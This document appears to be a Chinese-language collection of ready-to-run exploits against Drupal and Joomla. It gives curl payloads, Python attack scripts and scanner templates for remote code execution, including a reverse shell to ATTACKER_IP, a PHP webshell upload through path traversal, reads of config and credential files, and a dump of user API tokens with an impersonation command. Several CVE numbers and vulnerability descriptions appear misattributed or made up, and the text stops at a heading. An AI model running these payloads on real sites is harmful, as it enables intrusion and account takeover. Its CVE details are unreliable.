开源CMS与门户平台高危攻击链专题：Drupal / Joomla / Liferay 漏洞全解析

mail[#post_render][]=system
mail[#type]=markup
mail[#markup]=id

# CVE-2018-7600 Drupalgeddon 2 — Pre-Auth RCE
# 在目标服务器上执行命令 (id)
curl -k -X POST \
  'https://target.com/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=id'

# 执行其他命令（如反弹 Shell）
curl -k -X POST \
  'https://target.com/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/4444%200>%261'

# 使用 Drupal 8 路径（不同表单入口）
curl -k -X POST \
  'https://target.com/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=id'

#!/usr/bin/env python3
"""CVE-2018-7600 - Drupalgeddon 2 Pre-Auth RCE"""
import requests
import argparse
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, cmd="id", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/user/register"

    params = {
        "element_parents": "account/mail/%23value",
        "ajax_form": "1",
        "_wrapper_format": "drupal_ajax",
    }

    data = {
        "form_id": "user_register_form",
        "_drupal_ajax": "1",
        "mail[#post_render][]": "system",
        "mail[#type]": "markup",
        "mail[#markup]": cmd,
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    }

    try:
        resp = requests.post(
            url,
            params=params,
            data=data,
            headers=headers,
            verify=False,
            timeout=15,
        )

        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response length: {len(resp.text)}")

        if resp.status_code == 200:
            if cmd == "id":
                if re.search(r"uid=\d+", resp.text):
                    return True, resp.text
            else:
                return True, resp.text

        return False, resp.text

    except requests.exceptions.ConnectionError:
        return False, "Connection refused"
    except requests.exceptions.Timeout:
        return False, "Request timed out"
    except Exception as e:
        return False, str(e)


def exploit(target, use_ssl=False, cmd="id", verbose=False):
    scheme = "https" if use_ssl else "http"
    print(f"[*] Targeting: {scheme}://{target}")
    print(f"[*] Command: {cmd}")

    vuln, output = check(target, use_ssl, cmd, verbose)

    if vuln:
        print(f"[+] {target} is VULNERABLE to CVE-2018-7600")
        print(f"[+] Command output:\n{output}")
        return True
    else:
        print(f"[-] {target} does not appear to be vulnerable")
        if verbose:
            print(f"[-] Debug output: {output[:500]}")
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2018-7600 Drupalgeddon 2 Pre-Auth RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true", help="使用 HTTPS")
    parser.add_argument("--cmd", default="id", help="要执行的命令 (默认: id)")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    exploit(args.target, args.ssl, args.cmd, args.verbose)

id: drupalgeddon2-cve-2018-7600

info:
  name: Drupal Drupalgeddon 2 Pre-Auth RCE (CVE-2018-7600)
  author: security-researcher
  severity: critical
  description: |
    Drupal 7.x/8.x Form API 渲染数组注入导致的 Pre-Auth Remote Code Execution。
    攻击者通过 Ajax 请求中的 #post_render/callback 参数实现任意 PHP 函数调用。
  reference:
    - https://www.drupal.org/SA-CORE-2018-002
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-20
  tags: drupal,rce,cve-2018,drupalgeddon

http:
  - raw:
      - |
        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=system&mail%5B%23type%5D=markup&mail%5B%23markup%5D=id

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=[0-9]+\\([a-z]+\\)"
      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "(uid=[0-9]+\\([a-z]+\\))"

# CVE-2018-7602 — Drupalgeddon 3 Auth RCE
# 需要有效的 Drupal 用户会话 Cookie
curl -k -X POST \
  'https://target.com/comment/reply/node/1/comment?element_parents=filter/format/value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: SESSxxxxxxxxxxxx=VALID_SESSION_ID' \
  -d 'comment_body[0][value]=&format=full_html&_triggering_element_name=field_trigger&_triggering_element_value=&_wrapper_format=drupal_ajax&name=admin&mail=test@test.com&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=id'

#!/usr/bin/env python3
"""CVE-2018-7602 - Drupalgeddon 3 Auth RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def login(target, use_ssl=False, username="admin", password="admin"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/user/login"

    session = requests.Session()
    session.verify = False

    resp = session.get(url, timeout=10)
    form_build_id = ""
    for line in resp.text.split("\n"):
        if "form_build_id" in line and "value" in line:
            form_build_id = line.split('value="')[1].split('"')[0]
            break

    login_data = {
        "name": username,
        "pass": password,
        "form_build_id": form_build_id,
        "form_id": "user_login",
        "op": "Log in",
    }

    resp = session.post(url, data=login_data, allow_redirects=True, timeout=10)
    if "logout" in resp.text.lower() or resp.status_code == 200:
        return session
    return None


def exploit(target, use_ssl=False, cmd="id", username="admin", password="admin", verbose=False):
    scheme = "https" if use_ssl else "http"
    print(f"[*] Attempting login to {scheme}://{target}...")
    session = login(target, use_ssl, username, password)

    if not session:
        print("[-] Login failed. Cannot exploit CVE-2018-7602 without authentication.")
        return False

    print(f"[+] Login successful")

    url = f"{scheme}://{target}/comment/reply/node/1/comment"
    params = {
        "element_parents": "filter/format/value",
        "ajax_form": "1",
        "_wrapper_format": "drupal_ajax",
    }

    data = {
        "comment_body[0][value]": "",
        "format": "full_html",
        "_triggering_element_name": "field_trigger",
        "_triggering_element_value": "",
        "_wrapper_format": "drupal_ajax",
        "mail[#post_render][]": "system",
        "mail[#type]": "markup",
        "mail[#markup]": cmd,
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = session.post(url, params=params, data=data, headers=headers, timeout=15)
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if resp.status_code == 200 and cmd in resp.text:
            print(f"[+] {target} is VULNERABLE to CVE-2018-7602")
            print(f"[+] Command output:\n{resp.text[:2000]}")
            return True
        else:
            print(f"[-] {target} does not appear to be vulnerable")
            return False

    except Exception as e:
        print(f"[!] Error: {e}")
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2018-7602 Drupalgeddon 3 Auth RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cmd", default="id")
    parser.add_argument("--user", default="admin")
    parser.add_argument("--pass", dest="password", default="admin")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    exploit(args.target, args.ssl, args.cmd, args.user, args.password, args.verbose)

id: drupalgeddon3-cve-2018-7602

info:
  name: Drupal Drupalgeddon 3 Auth RCE (CVE-2018-7602)
  author: security-researcher
  severity: high
  description: |
    Drupal 7.x/8.x 已认证用户通过 Form API 渲染数组注入实现 RCE。
  reference:
    - https://www.drupal.org/SA-CORE-2018-004
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7602
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cwe-id: CWE-20
  tags: drupal,rce,cve-2018,drupalgeddon,authenticated

http:
  - raw:
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=test&pass=test&form_id=user_login&op=Log+in

    matchers:
      - type: word
        words:
          - "X-Drupal-Cache"
        condition: or

  - raw:
      - |
        POST /comment/reply/node/1/comment?element_parents=filter/format/value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{session}}

        comment_body[0][value]=&format=full_html&_triggering_element_name=field_trigger&mail[%23post_render][]=system&mail[%23type]=markup&mail[%23markup]=id

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=[0-9]+\\([a-z]+\\)"
      - type: status
        status:
          - 200

# CVE-2020-13671 — Drupal 渲染回调 RCE
curl -k -X POST \
  'https://target.com/admin/content/file/add?_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: SESSxxxxxxxxxxxx=VALID_SESSION' \
  -d 'form_id=file_upload_form&files[file_0]=test&files[file_0][#type]=markup&files[file_0][#post_render][]=system&files[file_0][#markup]=id&_wrapper_format=drupal_ajax'

#!/usr/bin/env python3
"""CVE-2020-13671 - Drupal 渲染回调 RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, cmd="id", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/admin/content/file/add"

    params = {"_wrapper_format": "drupal_ajax"}

    data = {
        "form_id": "file_upload_form",
        "files[file_0][#type]": "markup",
        "files[file_0][#post_render][]": "system",
        "files[file_0][#markup]": cmd,
        "_wrapper_format": "drupal_ajax",
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, params=params, data=data, headers=headers,
            verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")
            print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code == 200 and "uid=" in resp.text:
            return True, resp.text
        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-13671 Drupal Render Callback RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cmd", default="id")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cmd, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2020-13671 漏洞")
        print(f"[+] Command output:\n{output[:2000]}")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: drupal-render-callback-cve-2020-13671

info:
  name: Drupal 渲染回调 RCE (CVE-2020-13671)
  author: security-researcher
  severity: critical
  description: |
    Drupal 7.x/8.x/9.x 渲染回调验证令牌缺陷导致的 RCE。
  reference:
    - https://www.drupal.org/SA-CORE-2020-007
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13671
  classification:
    cvss-score: 9.8
    cwe-id: CWE-20
  tags: drupal,rce,cve-2020,render-callback

http:
  - raw:
      - |
        POST /admin/content/file/add?_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=file_upload_form&files[file_0][%23type]=markup&files[file_0][%23post_render][]=system&files[file_0][%23markup]=id&_wrapper_format=drupal_ajax

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=[0-9]+\\([a-z]+\\)"
      - type: status
        status:
          - 200

# CVE-2019-6341 — Drupal Form API Ajax RCE
# 需要已认证会话
curl -k -X POST \
  'https://target.com/user/1/edit?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: SESSxxxxxxxxxxxx=VALID_SESSION' \
  -d 'form_id=user_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=id&_wrapper_format=drupal_ajax'

#!/usr/bin/env python3
"""CVE-2019-6341 - Drupal Form API Ajax RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, cmd="id", session_cookie="", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/user/1/edit"

    params = {
        "element_parents": "account/mail/%23value",
        "ajax_form": "1",
        "_wrapper_format": "drupal_ajax",
    }

    data = {
        "form_id": "user_form",
        "_drupal_ajax": "1",
        "mail[#post_render][]": "system",
        "mail[#type]": "markup",
        "mail[#markup]": cmd,
        "_wrapper_format": "drupal_ajax",
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": session_cookie,
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, params=params, data=data, headers=headers,
            verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if resp.status_code == 200 and "uid=" in resp.text:
            return True, resp.text
        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2019-6341 Drupal Form API Ajax RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cmd", default="id")
    parser.add_argument("--cookie", default="", help="会话 Cookie")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cmd, args.cookie, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2019-6341 漏洞")
        print(f"[+] Command output:\n{output[:2000]}")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: drupal-form-api-cve-2019-6341

info:
  name: Drupal Form API Ajax RCE (CVE-2019-6341)
  author: security-researcher
  severity: high
  description: |
    Drupal 8.x Form API Ajax 远程代码执行漏洞。
  reference:
    - https://www.drupal.org/SA-CORE-2019-006
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6341
  classification:
    cvss-score: 8.1
    cwe-id: CWE-20
  tags: drupal,rce,cve-2019,form-api

http:
  - raw:
      - |
        POST /user/1/edit?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_form&_drupal_ajax=1&mail[%23post_render][]=system&mail[%23type]=markup&mail[%23markup]=id

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=[0-9]+\\([a-z]+\\)"
      - type: status
        status:
          - 200

# CVE-2020-13672 — Drupal AJAX API Pre-Auth RCE
curl -k -X POST \
  'https://target.com/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=id'

#!/usr/bin/env python3
"""CVE-2020-13672 - Drupal AJAX API Pre-Auth RCE"""
import requests
import argparse
import re
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, cmd="id", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/user/register"

    params = {
        "element_parents": "account/mail/%23value",
        "ajax_form": "1",
        "_wrapper_format": "drupal_ajax",
    }

    data = {
        "form_id": "user_register_form",
        "_drupal_ajax": "1",
        "mail[#post_render][]": "system",
        "mail[#type]": "markup",
        "mail[#markup]": cmd,
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
    }

    try:
        resp = requests.post(
            url, params=params, data=data, headers=headers,
            verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if resp.status_code == 200:
            if cmd == "id" and re.search(r"uid=\d+", resp.text):
                return True, resp.text
            elif cmd != "id":
                return True, resp.text

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2020-13672 Drupal AJAX API Pre-Auth RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cmd", default="id")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cmd, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2020-13672 漏洞")
        print(f"[+] Command output:\n{output[:2000]}")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: drupal-ajax-api-cve-2020-13672

info:
  name: Drupal AJAX API Pre-Auth RCE (CVE-2020-13672)
  author: security-researcher
  severity: critical
  description: |
    Drupal 7.x AJAX API Pre-Auth Remote Code Execution。
  reference:
    - https://www.drupal.org/SA-CORE-2020-007
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13672
  classification:
    cvss-score: 9.8
    cwe-id: CWE-20
  tags: drupal,rce,cve-2020,ajax

http:
  - raw:
      - |
        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_register_form&_drupal_ajax=1&mail[%23post_render][]=system&mail[%23type]=markup&mail[%23markup]=id

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=[0-9]+\\([a-z]+\\)"
      - type: status
        status:
          - 200

# CVE-2021-25741 — Drupal 文件操作路径穿越 RCE
# 需要已认证会话，通过文件上传写入 Webshell
curl -k -X POST \
  'https://target.com/admin/content/file/add' \
  -H 'Cookie: SESSxxxxxxxxxxxx=VALID_SESSION' \
  -F 'files[file_0]=@shell.php' \
  -F 'form_id=file_upload_form' \
  -F 'files[file_0][name]=..%2F..%2F..%2Fsites%2Fdefault%2Ffiles%2Fshell.php'

#!/usr/bin/env python3
"""CVE-2021-25741 - Drupal 文件操作 RCE"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, session_cookie="", verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/admin/content/file/add"

    headers = {
        "Cookie": session_cookie,
        "User-Agent": "Mozilla/5.0",
    }

    php_content = b"<?php echo shell_exec($_GET['cmd']); ?>"
    traverse_name = "..%2F..%2F..%2Fsites%2Fdefault%2Ffiles%2Fvuln_test.php"

    files = {
        "files[file_0]": ("test.txt", php_content, "text/plain"),
    }

    data = {
        "form_id": "file_upload_form",
        "files[file_0][name]": traverse_name,
    }

    try:
        resp = requests.post(
            url, files=files, data=data, headers=headers,
            verify=False, timeout=15,
        )
        if verbose:
            print(f"[*] Status: {resp.status_code}")

        test_url = f"{scheme}://{target}/sites/default/files/vuln_test.php?cmd=id"
        test_resp = requests.get(test_url, verify=False, timeout=10)

        if "uid=" in test_resp.text:
            return True, test_resp.text

        return False, resp.text

    except Exception as e:
        return False, str(e)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2021-25741 Drupal File Operation RCE"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--cookie", default="", help="会话 Cookie")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, output = check(args.target, args.ssl, args.cookie, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在 CVE-2021-25741 漏洞")
    else:
        print(f"[-] {args.target} 未检测到漏洞")

id: drupal-file-traversal-cve-2021-25741

info:
  name: Drupal 文件操作路径穿越 RCE (CVE-2021-25741)
  author: security-researcher
  severity: high
  description: |
    Drupal File Module 路径穿越导致任意文件写入和 RCE。
  reference:
    - https://www.drupal.org/SA-CORE-2021-005
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25741
  classification:
    cvss-score: 8.1
    cwe-id: CWE-22
  tags: drupal,rce,cve-2021,path-traversal

http:
  - raw:
      - |
        GET /admin/content/file/add HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "file_upload_form"
          - "Upload a new file"
        condition: and
      - type: status
        status:
          - 200

# CVE-2021-25747 — Drupal 多重漏洞链 (阶段 1: 信息泄露)
curl -k 'https://target.com/core/config/sync/settings.yml'
curl -k 'https://target.com/sites/default/files/config-*/settings.php'

# 阶段 2: 通过泄露的数据库凭据直接操作数据库 (示例)
# mysql -h target-db-host -u drupal_user -p 'leaked_password' drupal_db -e "UPDATE users SET name='backdoor' WHERE uid=1;"

# 阶段 3: 通过管理后台安装 PHP Filter 模块实现 RCE

#!/usr/bin/env python3
"""CVE-2021-25747 - Drupal 多重漏洞链信息泄露检测"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SENSITIVE_PATHS = [
    "/core/config/sync/settings.yml",
    "/sites/default/files/config-*/settings.php",
    "/sites/default/settings.php",
    "/CHANGELOG.txt",
    "/core/CHANGELOG.txt",
]


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    found = []

    for path in SENSITIVE_PATHS:
        url = f"{scheme}://{target}{path}"
        try:
            resp = requests.get(
                url, verify=False, timeout=10,
                headers={"User-Agent": "Mozilla/5.0"},
            )
            if verbose:
                print(f"[*] {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")

            if resp.status_code == 200:
                indicators = ["database", "password", "drupal_", "databases"]
                for indicator in indicators:
                    if indicator in resp.text.lower():
                        found.append(path)
                        print(f"[!] 敏感文件泄露: {path}")
                        print(f"    内容片段: {resp.text[:300]}")
                        break

        except Exception as e:
            if verbose:
                print(f"[!] {path} -> Error: {e}")

    return len(found) > 0, found


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2021-25747 Drupal 多重漏洞链检测"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, paths = check(args.target, args.ssl, args.verbose)
    if vuln:
        print(f"[+] {args.target} 存在信息泄露漏洞（漏洞链阶段 1）")
        print(f"[+] 发现 {len(paths)} 个敏感路径")
    else:
        print(f"[-] {args.target} 未检测到明显的信息泄露")

id: drupal-multi-vuln-cve-2021-25747

info:
  name: Drupal 多重漏洞链信息泄露 (CVE-2021-25747)
  author: security-researcher
  severity: high
  description: |
    Drupal 多重漏洞组合链：信息泄露 + 权限提升 + RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25747
  classification:
    cvss-score: 8.1
    cwe-id: CWE-200
  tags: drupal,info-leak,cve-2021,chain

http:
  - method: GET
    path:
      - "{{BaseURL}}/sites/default/settings.php"
      - "{{BaseURL}}/core/config/sync/settings.yml"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "databases"
          - "password"
          - "drupal_"
        condition: or
      - type: word
        words:
          - "database"
          - "host"
        condition: and
      - type: status
        status:
          - 200

# CVE-2023-23752 — Joomla Web Services API 未授权访问
# 获取所有用户列表（含邮箱和 API Token）
curl -k 'https://target.com/api/v1/users?list[select]=*&list[limit]=100'

# 获取用户字段信息
curl -k 'https://target.com/api/v1/fields?list[select]=*&list[limit]=100'

# 获取配置信息
curl -k 'https://target.com/api/v1/config?list[select]=*&list[limit]=100'

#!/usr/bin/env python3
"""CVE-2023-23752 - Joomla Web Services API 未授权访问"""
import requests
import argparse
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    endpoints = [
        "/api/v1/users?list[select]=*&list[limit]=100",
        "/api/v1/fields?list[select]=*&list[limit]=100",
        "/api/v1/config?list[select]=*&list[limit]=100",
    ]

    found_users = []

    for endpoint in endpoints:
        url = f"{scheme}://{target}{endpoint}"
        try:
            resp = requests.get(
                url, verify=False, timeout=15,
                headers={"User-Agent": "Mozilla/5.0"},
            )

            if verbose:
                print(f"[*] {endpoint} -> HTTP {resp.status_code}")

            if resp.status_code == 200:
                try:
                    data = resp.json()
                except json.JSONDecodeError:
                    continue

                if "data" in data and isinstance(data["data"], list):
                    if endpoint.startswith("/api/v1/users"):
                        for user in data["data"]:
                            username = user.get("name", "")
                            email = user.get("email", "")
                            api_token = user.get("api_token", "")
                            user_id = user.get("id", "")
                            if username or email:
                                found_users.append({
                                    "id": user_id,
                                    "name": username,
                                    "email": email,
                                    "api_token": api_token,
                                })

                    if verbose:
                        print(f"[+] {endpoint} 返回数据: {json.dumps(data, indent=2)[:500]}")

        except Exception as e:
            if verbose:
                print(f"[!] {endpoint} -> {e}")

    return len(found_users) > 0, found_users


def exploit(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    print(f"[*] Scanning {scheme}://{target}...")

    vuln, users = check(target, use_ssl, verbose)

    if vuln:
        print(f"[+] {target} is VULNERABLE to CVE-2023-23752")
        print(f"[+] 发现 {len(users)} 个用户:")
        for user in users:
            print(f"    ID={user['id']} Name={user['name']} Email={user['email']}")
            if user['api_token']:
                print(f"    API Token: {user['api_token']}")
                print(f"    [!] 可使用该 Token 冒充用户: "
                      f"curl -H 'X-Joomla-Token: {user['api_token']}' {scheme}://{target}/api/v1/users/me")
        return True
    else:
        print(f"[-] {target} does not appear to be vulnerable")
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2023-23752 Joomla Web Services API 未授权访问"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    exploit(args.target, args.ssl, args.verbose)

id: joomla-api-unauth-cve-2023-23752

info:
  name: Joomla Web Services API 未授权访问 (CVE-2023-23752)
  author: security-researcher
  severity: high
  description: |
    Joomla 4.x Web Services API 端点缺少认证检查，可泄露用户列表含 API Token。
  reference:
    - https://developer.joomla.org/security-centre/894-20230201-core-unauthorised-api-access.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-306
  tags: joomla,info-leak,cve-2023,api

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users?list[select]=*&list[limit]=10"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "api_token"
          - "email"
          - "name"
        condition: and
      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - ".data[].name"
          - ".data[].email"

# CVE-2021-23132 — Joomla 反序列化 RCE
# 需要已认证用户会话 + 会话存储注入能力
# 此处展示利用反序列化 Gadget Chain 触发 RCE 的请求结构
curl -k -X POST \
  'https://target.com/index.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: joomla_session=INJECTED_SERIALIZED_PAYLOAD' \
  -d 'option=com_content&view=article&id=1'

#!/usr/bin/env python3
"""CVE-2021-23132 - Joomla 反序列化 RCE (检测模式)"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, verbose=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/index.php"

    indicators = []
    try:
        resp = requests.get(url, verify=False, timeout=10,
                           headers={"User-Agent": "Mozilla/5.0"})

        if verbose:
            print(f"[*] Status: {resp.status_code}")

        if "Joomla" in resp.text or "joomla" in resp.headers.get("X-Powered-By", "").lower():
            indicators.append("Joomla detected")

        cookies = resp.cookies
        for cookie_name in cookies:
            if "session" in cookie_name.lower() or "joomla" in cookie_name.lower():
                indicators.append(f"Session cookie: {cookie_name}")

        server = resp.headers.get("Server", "")
        if server:
            indicators.append(f"Server: {server}")

        if verbose:
            for ind in indicators:
                print(f"[*] {ind}")

    except Exception as e:
        if verbose:
            print(f"[!] Error: {e}")

    return len(indicators) > 1, indicators


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2021-23132 Joomla 反序列化检测"
    )
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    vuln, indicators = check(args.target, args.ssl, args.verbose)
    if vuln:
        print(f"[+] {args.target} 运行 Joomla，可能存在 CVE-2021-23132 反序列化风险")
    else:
        print(f"[-] {args.target} 未检测到 Joomla 或未发现明显风险指标")

id: joomla-deserialization-cve-2021-23132

info:
  name: Joomla 反序列化 RCE (CVE-2021-23132)
  author: security-researcher
  severity: high
  description: |
    Joomla 3.x Session 反序列化导致已认证用户 RCE。
  reference:
    - https://developer.joomla.org/security-centre/830-20210701-core-session-deserialization.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23132
  classification:
    cvss-score: 8.1
    cwe-id: CWE-502
  tags: joomla,rce,cve-2021,deserialization

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Joomla"
          - "joomla_session"
        condition: or
      - type: status
        status:
          - 200

# CVE-2020-11890 — Joomla SQL 注入
# 读取数据库用户
